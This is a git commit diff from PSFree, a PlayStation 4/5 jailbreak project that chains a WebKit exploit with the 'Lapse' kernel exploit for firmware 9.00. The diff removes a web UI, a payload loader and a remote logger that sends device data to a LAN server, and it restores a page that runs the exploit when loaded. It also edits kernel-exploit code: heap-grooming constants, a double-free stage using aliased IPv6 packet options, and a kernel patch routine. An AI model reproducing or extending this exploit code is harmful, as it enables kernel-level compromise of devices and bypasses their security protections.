Revert UI

This commit is contained in:
Kameleon
2025-05-20 06:58:46 -06:00
parent e9dd0ef7ab
commit d3aa804f37
13 changed files with 102 additions and 1737 deletions
+4 -20
View File
@@ -1,29 +1,13 @@
# PSFree version 1.5.0 # PSFree version 1.5.0
Lapse Kex ported to 9.00 - WIP Lapse Kex ported to 9.00 - Still WIP
Very fast and reliable but can KP :P Very fast and reliable but can KP :P
"Please note that this project is still in the beta phase, with stability at approximately 50%. If the exploit encounters an error, please restart the console and try again. Use this exploit at your own risk." - Needs a bin loader.
TODO:
- Some performance Tweaks??. - Some performance Tweaks??.
Payload Loader will look for payload.bin provided on this repo, you can swap it with another payload.
PR are welcome!!! PR are welcome
Credits:
- Jhon https://github.com/janisslsm
- SiSTR0 https://github.com/SiSTR0
- CTN https://github.com/ctn123
- Al-Azif https://github.com/al-azif
- abc for PSFree webkit exploit & Lapse kernel Exploit
- Chendochap https://github.com/ChendoChap
- kameleonre.. for porting and chaining psfree + lapse on ps4 9.00 :P
PSFree is a collection of exploits for the PS4 console. The main focus of the PSFree is a collection of exploits for the PS4 console. The main focus of the
repo is for the PS4 but we try to make things portable to PS5. repo is for the PS4 but we try to make things portable to PS5.
@@ -32,7 +16,7 @@ repo is for the PS4 but we try to make things portable to PS5.
* PSFree: src/psfree.mjs * PSFree: src/psfree.mjs
* Lapse (kernel): src/scripts/lapse.mjs * Lapse (kernel): src/scripts/lapse.mjs
Developer [abc] Donation (Monero/XMR): Donation (Monero/XMR):
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
# COPYRIGHT AND AUTHORS: # COPYRIGHT AND AUTHORS:
-242
View File
@@ -1,242 +0,0 @@
/*
* PSFree Enhanced UI Styles
* Compatible with PS4 FW 9.00 Browser
* TODO: Optimize for PS4 display and controller navigation
*/
body {
font-family: 'Liberation Mono', monospace;
margin: 0;
padding: 20px;
background-color: #0d1117;
color: #e6edf3;
}
.container {
max-width: 900px;
margin: 0 auto;
}
.header {
text-align: center;
margin-bottom: 20px;
padding-bottom: 10px;
border-bottom: 1px solid #30363d;
}
.header h1 {
margin: 0;
color: #58a6ff;
}
.header p {
margin: 5px 0;
color: #8b949e;
}
.card {
background-color: #161b22;
border-radius: 6px;
padding: 15px;
margin-bottom: 20px;
border: 1px solid #30363d;
}
.card-title {
margin-top: 0;
color: #58a6ff;
border-bottom: 1px solid #30363d;
padding-bottom: 10px;
}
.btn {
background-color: #238636;
color: white;
border: none;
padding: 8px 16px;
border-radius: 6px;
cursor: pointer;
font-weight: bold;
transition: background-color 0.2s;
}
.btn:hover {
background-color: #2ea043;
}
.btn:disabled {
background-color: #3c4043;
cursor: not-allowed;
}
.btn-danger {
background-color: #da3633;
}
.btn-danger:hover {
background-color: #f85149;
}
.progress-container {
width: 100%;
background-color: #30363d;
border-radius: 4px;
margin: 10px 0;
}
.progress-bar {
height: 10px;
background-color: #238636;
border-radius: 4px;
width: 0%;
transition: width 0.3s;
}
#console {
background-color: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 10px;
height: 300px;
overflow-y: auto;
font-family: 'Liberation Mono', monospace;
white-space: pre-wrap;
color: #e6edf3;
}
.status-indicator {
display: inline-block;
width: 12px;
height: 12px;
border-radius: 50%;
margin-right: 5px;
}
.status-waiting {
background-color: #8b949e;
}
.status-running {
background-color: #f0883e;
}
.status-success {
background-color: #56d364;
}
.status-error {
background-color: #f85149;
}
.tabs {
display: flex;
margin-bottom: 10px;
}
.tab {
padding: 8px 16px;
cursor: pointer;
background-color: #161b22;
border: 1px solid #30363d;
border-bottom: none;
border-radius: 6px 6px 0 0;
margin-right: 5px;
}
.tab.active {
background-color: #0d1117;
border-bottom: 1px solid #0d1117;
position: relative;
top: 1px;
}
.tab-content {
display: none;
padding: 15px;
background-color: #0d1117;
border: 1px solid #30363d;
border-radius: 0 6px 6px 6px;
}
.tab-content.active {
display: block;
}
.payload-item {
display: flex;
align-items: center;
padding: 10px;
border: 1px solid #30363d;
border-radius: 6px;
margin-bottom: 10px;
}
.payload-item.selected {
border-color: #58a6ff;
background-color: rgba(88, 166, 255, 0.1);
}
.payload-info {
flex-grow: 1;
margin-left: 10px;
}
.tooltip {
position: relative;
display: inline-block;
cursor: help;
}
.tooltip .tooltip-text {
visibility: hidden;
width: 200px;
background-color: #30363d;
color: #e6edf3;
text-align: center;
border-radius: 6px;
padding: 5px;
position: absolute;
z-index: 1;
bottom: 125%;
left: 50%;
margin-left: -100px;
opacity: 0;
transition: opacity 0.3s;
}
.tooltip:hover .tooltip-text {
visibility: visible;
opacity: 1;
}
/* PS4 specific optimizations */
@media screen and (max-width: 1920px) and (max-height: 1080px) {
.container {
max-width: 1600px;
}
#console {
height: 400px;
}
.btn {
padding: 12px 24px;
font-size: 18px;
}
.tab {
padding: 12px 24px;
font-size: 18px;
}
}
/* Focus styles for controller navigation */
.btn:focus, .tab:focus, .payload-item:focus {
outline: 3px solid #58a6ff;
}
/* Highlight the currently focused element for controller navigation */
.controller-focus {
outline: 3px solid #58a6ff !important;
box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
}
+14 -101
View File
@@ -15,115 +15,28 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. along with this program. If not, see <https://www.gnu.org/licenses/>.
--> -->
<!DOCTYPE html>
<html> <html>
<head> <head>
<meta charset="utf-8"> <meta charset='utf-8'>
<title>PSFree v1.5.0 - PS4/PS5 Exploit</title> <title>PSFree-Lapse Exploit For 9.00</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css/styles.css">
<style> <style>
@font-face { @font-face {
font-family: 'Liberation Mono'; font-family: 'logging';
src: url('fonts/LiberationMono-Regular.ttf'); src: url('fonts/LiberationMono-Regular.ttf');
} }
#console {
font-family: 'logging';
}
</style> </style>
</head> </head>
<body> <body>
<div class="container"> PSFree: A PS4/PS5 Exploit Chain<br>
<div class="header"> Donation (Monero/XMR):<br>
<h1>PSFree v1.5.0</h1> 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS<br>
<p>PS4/PS5 Exploit Chain</p> See <a href='./about.html' data-jslicense='1'>JavaScript license information</a> for the
</div> source code and license.<br>
<pre id='console'></pre>
<div class="card">
<h2 class="card-title">Status</h2>
<div id="status-container">
<p><span class="status-indicator status-running" id="status-icon"></span> <span id="status-text">Running exploit...</span></p>
<div class="progress-container">
<div class="progress-bar" id="progress-bar"></div>
</div>
</div>
<!-- Run exploit and reset buttons removed -->
</div>
<div class="tabs">
<div class="tab active" data-tab="console">Console</div>
<!-- Payloads and settings tabs removed -->
</div>
<div class="tab-content active" id="tab-console">
<pre id="console"></pre>
</div>
<!-- Payloads and settings tabs removed -->
<!-- Info content moved below console -->
<div class="card" style="margin-top: 20px;">
<h2 class="card-title">About PSFree</h2>
<p>PSFree is an exploit chain for PS4 and PS5.</p>
<p>Current version: <strong>1.5.0</strong></p>
<p>Supported firmware:</p>
<ul>
<li>PS4: 5.00 - 12.50</li>
<li>PS5: 1.00 - 10.20</li>
</ul>
<p>PSFree uses:</p>
<ul>
<li>WebKit exploit (CVE-2022-22620)</li>
<li>Lapse kernel exploit</li>
</ul>
<p>See <a href="./about.html" data-jslicense="1">JavaScript license info</a> for source code and license details.</p>
<p>Donations (Monero/XMR):<br>
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS</p>
</div>
<div class="card" style="margin-top: 20px;">
<h2 class="card-title">Quick Guide</h2>
<ol>
<li>Open this page in the PS4 browser</li>
<li>The exploit will run automatically</li>
<li>Wait for the process to complete</li>
<li>If successful, the payload will run automatically</li>
</ol>
<p><strong>Note:</strong> If a Kernel Panic occurs, power off the console (do not restart) and try again.</p>
<p><strong>Important:</strong> This website uses the default payload located in the root folder.</p>
</div>
</div>
<script src="js/remote-logger.js"></script>
<script src="js/payload-manager.js"></script>
<script src="js/ui.js"></script>
<script src="payload.js"></script>
<script>
// Initialize Remote Logger
document.addEventListener('DOMContentLoaded', function() {
// Try to get server IP from URL parameter
const urlParams = new URLSearchParams(window.location.search);
const serverIp = urlParams.get('server');
// Logger configuration
const loggerConfig = {
enabled: true,
localConsole: true
};
// If a server parameter is present, use it
if (serverIp) {
loggerConfig.serverUrl = `http://${serverIp}:3000`;
}
// Initialize logger
window.RemoteLogger.init(loggerConfig);
// Log browser info
window.RemoteLogger.info('PSFree initialized', {
userAgent: navigator.userAgent,
url: window.location.href,
timestamp: new Date().toISOString()
});
});
</script>
<script type="module" src="./alert.mjs"></script>
</body> </body>
<script src="payload.js"></script>
<script type='module' src='./alert.mjs'></script>
</html> </html>
-124
View File
@@ -1,124 +0,0 @@
/**
* PSFree Payload Manager
* Compatible with PS4 FW 9.00 Browser
* TODO: Add support for multiple payloads and payload verification
*/
// Global state for payloads
window.payloadState = {
defaultPayload: null,
customPayloads: {},
selectedPayload: 'payload.bin'
};
// Function to load the default payload
function loadDefaultPayload() {
console.log('Loading default payload...');
fetch('./payload.bin')
.then(response => {
if (!response.ok) {
throw new Error('Failed to load default payload');
}
return response.arrayBuffer();
})
.then(arrayBuffer => {
window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
window.pld = window.payloadState.defaultPayload; // For backward compatibility
console.log('Default payload loaded successfully');
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadLoaded', {
detail: {
name: 'payload.bin',
size: arrayBuffer.byteLength
}
}));
})
.catch(error => {
console.error('Error loading default payload:', error);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadError', {
detail: {
name: 'payload.bin',
error: error.message
}
}));
});
}
// Function to load a custom payload
function loadCustomPayload(name, arrayBuffer) {
console.log(`Loading custom payload: ${name}`);
try {
const payload = new Uint32Array(arrayBuffer);
window.payloadState.customPayloads[name] = payload;
console.log(`Custom payload "${name}" loaded successfully`);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
detail: {
name: name,
size: arrayBuffer.byteLength
}
}));
return true;
} catch (error) {
console.error(`Error loading custom payload "${name}":`, error);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadError', {
detail: {
name: name,
error: error.message
}
}));
return false;
}
}
// Function to select a payload
function selectPayload(name) {
console.log(`Selecting payload: ${name}`);
if (name === 'payload.bin') {
if (window.payloadState.defaultPayload) {
window.pld = window.payloadState.defaultPayload;
window.payloadState.selectedPayload = name;
return true;
}
return false;
} else if (window.payloadState.customPayloads[name]) {
window.pld = window.payloadState.customPayloads[name];
window.payloadState.selectedPayload = name;
return true;
}
return false;
}
// Function to get the currently selected payload
function getSelectedPayload() {
const name = window.payloadState.selectedPayload;
if (name === 'payload.bin') {
return window.payloadState.defaultPayload;
} else {
return window.payloadState.customPayloads[name];
}
}
// Initialize by loading the default payload
loadDefaultPayload();
// Export functions to window for access from other scripts
window.payloadManager = {
loadCustomPayload,
selectPayload,
getSelectedPayload
};
-336
View File
@@ -1,336 +0,0 @@
/**
* PSFree Remote Logger
*
* Remote logging system for PSFree that sends logs to a local server
* to monitor exploit progress in real-time.
*
* TODO: Add automatic reconnect feature if the connection is lost
*/
// Logger configuration
const RemoteLogger = {
// Server configuration
config: {
// Logging server URL (replace with your computer's IP)
serverUrl: 'http://192.168.1.100:3000',
// Whether logging is enabled
enabled: true,
// Whether to also print logs to the local console
localConsole: true,
// Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
minLevel: 0,
// Unique ID for this logging session
sessionId: generateSessionId(),
// Device information
deviceInfo: {
userAgent: navigator.userAgent,
firmware: detectFirmware(),
timestamp: new Date().toISOString()
},
// Buffer to store logs if connection is lost
logBuffer: [],
// Maximum buffer size
maxBufferSize: 100,
// Connection status
connected: false
},
// Log levels
LEVEL: {
DEBUG: 0,
INFO: 1,
WARN: 2,
ERROR: 3
},
// Initialize the logger
init: function(customConfig = {}) {
// Merge default config with custom config
this.config = { ...this.config, ...customConfig };
// Try to auto-detect server IP if not configured
if (this.config.serverUrl === 'http://192.168.1.100:3000') {
this.autoDetectServerIp();
}
// Send session info to the server
this.sendSessionInfo();
// Override the original console.log function
this.overrideConsoleLog();
// Initialization log
this.info('Remote Logger initialized', {
config: {
serverUrl: this.config.serverUrl,
sessionId: this.config.sessionId,
deviceInfo: this.config.deviceInfo
}
});
return this;
},
// Try to auto-detect server IP
autoDetectServerIp: function() {
// List of commonly used IPs in local networks
const commonIps = [
'http://192.168.1.100:3000',
'http://192.168.1.101:3000',
'http://192.168.1.102:3000',
'http://192.168.1.103:3000',
'http://192.168.1.104:3000',
'http://192.168.1.105:3000',
'http://192.168.0.100:3000',
'http://192.168.0.101:3000',
'http://192.168.0.102:3000',
'http://192.168.0.103:3000',
'http://192.168.0.104:3000',
'http://192.168.0.105:3000',
'http://10.0.0.100:3000',
'http://10.0.0.101:3000',
'http://10.0.0.102:3000'
];
// Try pinging each IP to find an active server
for (const ip of commonIps) {
fetch(`${ip}/ping`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache',
headers: {
'Content-Type': 'application/json'
},
timeout: 500
})
.then(() => {
// If successful, use this IP
this.config.serverUrl = ip;
this.info(`Server found at ${ip}`);
})
.catch(() => {
// If failed, try the next IP
});
}
},
// Send session info to the server
sendSessionInfo: function() {
if (!this.config.enabled) return;
// Create URL with query parameters to avoid CORS issues with body
const sessionData = {
sessionId: this.config.sessionId,
deviceInfo: JSON.stringify(this.config.deviceInfo),
timestamp: new Date().toISOString()
};
// Create query string from data
const queryString = Object.keys(sessionData)
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
.join('&');
// Send request using GET method and query parameters
fetch(`${this.config.serverUrl}/session?${queryString}`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache'
})
.then(() => {
this.config.connected = true;
// Success log
if (this.config.localConsole) {
console.log(`Connected to logging server at ${this.config.serverUrl}`);
console.log(`Session ID: ${this.config.sessionId}`);
}
// Send logs stored in buffer
this.flushBuffer();
})
.catch(error => {
this.config.connected = false;
if (this.config.localConsole) {
console.error('Failed to connect to logging server:', error);
}
});
},
// Override the original console.log functions
overrideConsoleLog: function() {
const originalLog = console.log;
const originalWarn = console.warn;
const originalError = console.error;
const self = this;
console.log = function(...args) {
if (self.config.localConsole) {
originalLog.apply(console, args);
}
self.debug(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
console.warn = function(...args) {
if (self.config.localConsole) {
originalWarn.apply(console, args);
}
self.warn(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
console.error = function(...args) {
if (self.config.localConsole) {
originalError.apply(console, args);
}
self.error(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
},
// Send log to server
sendLog: function(level, message, data = {}) {
if (!this.config.enabled || level < this.config.minLevel) return;
const logEntry = {
sessionId: this.config.sessionId,
timestamp: new Date().toISOString(),
level: level,
levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
message: message,
data: JSON.stringify(data)
};
// If not connected, save to buffer
if (!this.config.connected) {
this.bufferLog(logEntry);
return;
}
// Create query string from log data
const queryString = Object.keys(logEntry)
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
.join('&');
// Send log to server using GET method
fetch(`${this.config.serverUrl}/log?${queryString}`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache'
})
.catch(error => {
this.config.connected = false;
this.bufferLog(logEntry);
if (this.config.localConsole) {
console.error('Failed to send log to server:', error);
}
});
},
// Save log in buffer if connection is lost
bufferLog: function(logEntry) {
this.config.logBuffer.push(logEntry);
// If buffer is too large, remove oldest logs
if (this.config.logBuffer.length > this.config.maxBufferSize) {
this.config.logBuffer.shift();
}
},
// Send all buffered logs
flushBuffer: function() {
if (!this.config.connected || this.config.logBuffer.length === 0) return;
for (const log of this.config.logBuffer) {
this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
}
this.config.logBuffer = [];
},
// Logging functions
debug: function(message, data = {}) {
this.sendLog(this.LEVEL.DEBUG, message, data);
},
info: function(message, data = {}) {
this.sendLog(this.LEVEL.INFO, message, data);
},
warn: function(message, data = {}) {
this.sendLog(this.LEVEL.WARN, message, data);
},
error: function(message, data = {}) {
this.sendLog(this.LEVEL.ERROR, message, data);
},
// Log exploit stage
logStage: function(stage, percent, details = {}) {
this.info(`STAGE: ${stage}`, {
stage: stage,
percent: percent,
details: details
});
// Dispatch event for UI
document.dispatchEvent(new CustomEvent('exploitProgress', {
detail: {
stage: stage,
percent: percent
}
}));
}
};
// Function to generate unique session ID
function generateSessionId() {
return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
const r = Math.random() * 16 | 0;
return r.toString(16);
});
}
// Function to detect firmware
function detectFirmware() {
const userAgent = navigator.userAgent;
let firmware = null;
// Detect PS4 firmware
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
if (ps4Match && ps4Match[1]) {
firmware = {
console: 'PS4',
version: ps4Match[1]
};
}
// Detect PS5 firmware
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
if (ps5Match && ps5Match[1]) {
firmware = {
console: 'PS5',
version: ps5Match[1]
};
}
return firmware;
}
// Export RemoteLogger to window
window.RemoteLogger = RemoteLogger;
-449
View File
@@ -1,449 +0,0 @@
/**
* PSFree Enhanced UI
* Compatible with PS4 FW 9.00 Browser
* TODO: Implement controller navigation and optimize for PS4 display
*/
// Status constants
const STATUS = {
WAITING: 'waiting',
RUNNING: 'running',
SUCCESS: 'success',
ERROR: 'error'
};
// Global state
let state = {
status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
progress: 0,
selectedPayload: 'payload.bin', // Always uses the default payload
customPayloads: [],
settings: {
autoRun: true, // Changed to true for auto-run
verboseLogging: false,
safeMode: true
},
controllerNavigation: {
enabled: false,
currentFocusIndex: 0,
focusableElements: []
}
};
// TODO: Exploit will run automatically when the page loads
// Original console.log function
const originalLog = console.log;
// Override console.log to also update the UI
console.log = function(...args) {
// Call original console.log
originalLog.apply(console, args);
// Update UI console
const message = args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' ');
appendToConsole(message);
};
// Function to append text to the console
function appendToConsole(text) {
const consoleElement = document.getElementById('console');
if (consoleElement) {
consoleElement.textContent += text + '\n';
consoleElement.scrollTop = consoleElement.scrollHeight;
}
}
// Function to clear the console
function clearConsole() {
const consoleElement = document.getElementById('console');
if (consoleElement) {
consoleElement.textContent = '';
}
}
// Function to update the UI status
function updateStatus(status, message) {
state.status = status;
const statusIcon = document.getElementById('status-icon');
const statusText = document.getElementById('status-text');
if (!statusIcon || !statusText) return;
// Remove all status classes
statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
// Add the appropriate class
statusIcon.classList.add(`status-${status}`);
// Update the status text
statusText.textContent = message;
// TODO: Exploit run and reset buttons have been removed
}
// Function to update the progress bar
function updateProgress(percent) {
state.progress = percent;
const progressBar = document.getElementById('progress-bar');
if (progressBar) {
progressBar.style.width = `${percent}%`;
}
}
// Function to handle tab switching
function switchTab(tabId) {
// Hide all tab contents
document.querySelectorAll('.tab-content').forEach(content => {
content.classList.remove('active');
});
// Deactivate all tabs
document.querySelectorAll('.tab').forEach(tab => {
tab.classList.remove('active');
});
// Activate the selected tab and content
const tabContent = document.getElementById(`tab-${tabId}`);
const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
if (tabContent && tabElement) {
tabContent.classList.add('active');
tabElement.classList.add('active');
}
}
// Function to add a custom payload
function addCustomPayload(name, data) {
const payloadList = document.getElementById('payload-list');
if (!payloadList) return;
// Create a new payload item
const payloadItem = document.createElement('div');
payloadItem.className = 'payload-item';
payloadItem.dataset.payload = name;
payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
// Create the payload content
payloadItem.innerHTML = `
<input type="radio" name="payload" id="payload-${name}">
<div class="payload-info">
<label for="payload-${name}"><strong>${name}</strong></label>
<p>Custom payload (${formatBytes(data.byteLength)})</p>
</div>
<button class="btn btn-danger remove-payload" data-name="${name}">Remove</button>
`;
// Add the payload to the list
payloadList.appendChild(payloadItem);
// Store the payload data
state.customPayloads.push({
name: name,
data: data
});
// Save to localStorage
saveCustomPayloads();
// Update controller navigation
updateFocusableElements();
}
// Function to format bytes to human-readable format
function formatBytes(bytes, decimals = 2) {
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
// Function to save custom payloads to localStorage
function saveCustomPayloads() {
try {
// We can only store the names in localStorage, not the actual binary data
const payloadNames = state.customPayloads.map(p => p.name);
localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames));
} catch (e) {
console.log('Error saving custom payloads to localStorage:', e);
}
}
// Function to save settings to localStorage
function saveSettings() {
try {
localStorage.setItem('settings', JSON.stringify(state.settings));
console.log('Settings saved');
} catch (e) {
console.log('Error saving settings to localStorage:', e);
}
}
// Function to load settings from localStorage
function loadSettings() {
try {
const savedSettings = localStorage.getItem('settings');
if (savedSettings) {
state.settings = JSON.parse(savedSettings);
// Update UI to reflect loaded settings
const autoRunElement = document.getElementById('auto-run');
const verboseLoggingElement = document.getElementById('verbose-logging');
const safeModeElement = document.getElementById('safe-mode');
if (autoRunElement) autoRunElement.checked = state.settings.autoRun;
if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging;
if (safeModeElement) safeModeElement.checked = state.settings.safeMode;
}
} catch (e) {
console.log('Error loading settings from localStorage:', e);
}
}
// Function to detect firmware version
function detectFirmware() {
const userAgent = navigator.userAgent;
let firmware = null;
// Detect PS4 firmware
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
if (ps4Match && ps4Match[1]) {
firmware = {
console: 'PS4',
version: ps4Match[1]
};
}
// Detect PS5 firmware
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
if (ps5Match && ps5Match[1]) {
firmware = {
console: 'PS5',
version: ps5Match[1]
};
}
return firmware;
}
// Function to check browser compatibility
function checkCompatibility() {
const userAgent = navigator.userAgent;
let isCompatible = true;
let message = '';
// Check if running on PS4/PS5 browser
if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) {
console.log('PlayStation browser detected. Optimal compatibility.');
// Enable controller navigation if on PlayStation
state.controllerNavigation.enabled = true;
} else {
console.log('WARNING: Not running in PlayStation browser. Some features may not work.');
isCompatible = false;
message = 'Not running in PlayStation browser';
}
// Check specific firmware version
const firmware = detectFirmware();
if (firmware) {
console.log(`Detected ${firmware.console} FW ${firmware.version}`);
if (firmware.console === 'PS4' && firmware.version === '9.00') {
console.log('Detected PS4 FW 9.00. Optimal compatibility.');
}
}
return { isCompatible, message, firmware };
}
// Function to run the exploit
function runExploit() {
updateStatus(STATUS.RUNNING, 'Running exploit...');
updateProgress(5);
// Clear the console if not in verbose mode
if (!state.settings.verboseLogging) {
clearConsole();
}
console.log('Starting PSFree exploit...');
// The actual exploit will be triggered here via the import of lapse.mjs
// This is handled by the original code in index.html
// Listen for exploit progress events
document.addEventListener('exploitProgress', function(event) {
updateProgress(event.detail.percent);
});
// Listen for exploit status events
document.addEventListener('exploitStatus', function(event) {
updateStatus(event.detail.status, event.detail.message);
});
}
// Function to reset the exploit
function resetExploit() {
updateStatus(STATUS.WAITING, 'Ready to start');
updateProgress(0);
if (!state.settings.verboseLogging) {
clearConsole();
}
console.log('Exploit reset. Ready to start again.');
// Reload the page to reset everything
if (confirm('The page will reload to reset the exploit. Continue?')) {
window.location.reload();
}
}
// Function to update focusable elements for controller navigation
function updateFocusableElements() {
if (!state.controllerNavigation.enabled) return;
// Get all focusable elements
state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]'));
// Reset focus index
state.controllerNavigation.currentFocusIndex = 0;
}
// Function to handle controller navigation
function handleControllerNavigation(event) {
if (!state.controllerNavigation.enabled) return;
const elements = state.controllerNavigation.focusableElements;
let currentIndex = state.controllerNavigation.currentFocusIndex;
// Handle navigation with D-pad
switch (event.key) {
case 'ArrowUp':
currentIndex = Math.max(0, currentIndex - 1);
break;
case 'ArrowDown':
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
break;
case 'ArrowLeft':
// If in tabs, navigate between tabs
if (elements[currentIndex].classList.contains('tab')) {
const tabs = Array.from(document.querySelectorAll('.tab'));
const tabIndex = tabs.indexOf(elements[currentIndex]);
if (tabIndex > 0) {
currentIndex = elements.indexOf(tabs[tabIndex - 1]);
}
} else {
currentIndex = Math.max(0, currentIndex - 1);
}
break;
case 'ArrowRight':
// If in tabs, navigate between tabs
if (elements[currentIndex].classList.contains('tab')) {
const tabs = Array.from(document.querySelectorAll('.tab'));
const tabIndex = tabs.indexOf(elements[currentIndex]);
if (tabIndex < tabs.length - 1) {
currentIndex = elements.indexOf(tabs[tabIndex + 1]);
}
} else {
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
}
break;
case 'Enter':
// Simulate click on the focused element
elements[currentIndex].click();
return;
}
// Update focus
if (currentIndex !== state.controllerNavigation.currentFocusIndex) {
// Remove focus from all elements
elements.forEach(el => {
el.classList.remove('controller-focus');
});
// Add focus to the current element
elements[currentIndex].classList.add('controller-focus');
elements[currentIndex].focus();
// Update current index
state.controllerNavigation.currentFocusIndex = currentIndex;
}
}
// Setup event listeners
function setupEventListeners() {
// Tab switching - only for console tab
document.querySelectorAll('.tab').forEach(tab => {
tab.addEventListener('click', () => {
switchTab(tab.dataset.tab);
});
});
// TODO: Run exploit, reset, upload payload, and settings buttons have been removed
// Controller navigation
document.addEventListener('keydown', handleControllerNavigation);
// Custom events from exploit
document.addEventListener('exploitProgress', function(event) {
updateProgress(event.detail.percent);
});
document.addEventListener('exploitStatus', function(event) {
updateStatus(event.detail.status, event.detail.message);
});
// Payload events
document.addEventListener('payloadLoaded', function(event) {
console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`);
});
document.addEventListener('payloadError', function(event) {
console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`);
updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`);
});
}
// Initialize the UI
function initUI() {
console.log('Initializing PSFree UI...');
// Load settings
loadSettings();
// Setup event listeners
setupEventListeners();
// Check compatibility
checkCompatibility();
// Update focusable elements for controller navigation
updateFocusableElements();
// Always run exploit automatically
setTimeout(() => {
console.log('Automatically running exploit...');
runExploit();
}, 1000);
console.log('UI initialized. Exploit will auto-run.');
// TODO: Exploit will always auto-run without conditions
}
// Initialize when the DOM is fully loaded
document.addEventListener('DOMContentLoaded', initUI);
+1 -1
View File
@@ -35,7 +35,7 @@ void restore(struct kexec_args *uap);
__attribute__((section (".text.start"))) __attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) { int kpatch(void *td, struct kexec_args *uap) {
do_patch(); do_patch();
//restore(uap); Disable to backtrace restore(uap);
return 0; return 0;
} }
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+75 -366
View File
@@ -96,9 +96,6 @@ const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1; const CPU_WHICH_TID = 1;
// sys/mman.h // sys/mman.h
const PROT_READ = 1;
const PROT_WRITE = 2;
const PROT_EXEC = 4;
const MAP_SHARED = 1; const MAP_SHARED = 1;
const MAP_FIXED = 0x10; const MAP_FIXED = 0x10;
@@ -136,13 +133,14 @@ const main_core = 7;
const num_grooms = 0x200; const num_grooms = 0x200;
const num_handles = 0x100; const num_handles = 0x100;
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
const num_alias = 50; //TODO: check best value here for 9.xx const num_alias = 40;
const num_races = 100; const num_races = 100;
const leak_len = 16; const leak_len = 16;
const num_leaks = 5; const num_leaks = 5;
const num_clobbers = 8; const num_clobbers = 8;
let chain = null; let chain = null;
var nogc = [];
async function init() { async function init() {
await rop.init(); await rop.init();
chain = new Chain(); chain = new Chain();
@@ -956,179 +954,40 @@ function leak_kernel_addrs(sd_pair) {
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE // FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
// Fungsi sleep sederhana untuk menambah delay
function sleep(ms) {
const start = Date.now();
while (Date.now() - start < ms) {
// Busy wait
}
}
function make_aliased_pktopts(sds) { function make_aliased_pktopts(sds) {
const tclass = new Word(); const tclass = new Word();
for (let loop = 0; loop < num_alias; loop++) {
for (let i = 0; i < num_sds; i++) {
tclass[0] = i;
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
}
// Tambahkan delay awal untuk stabilitas for (let i = 0; i < sds.length; i++) {
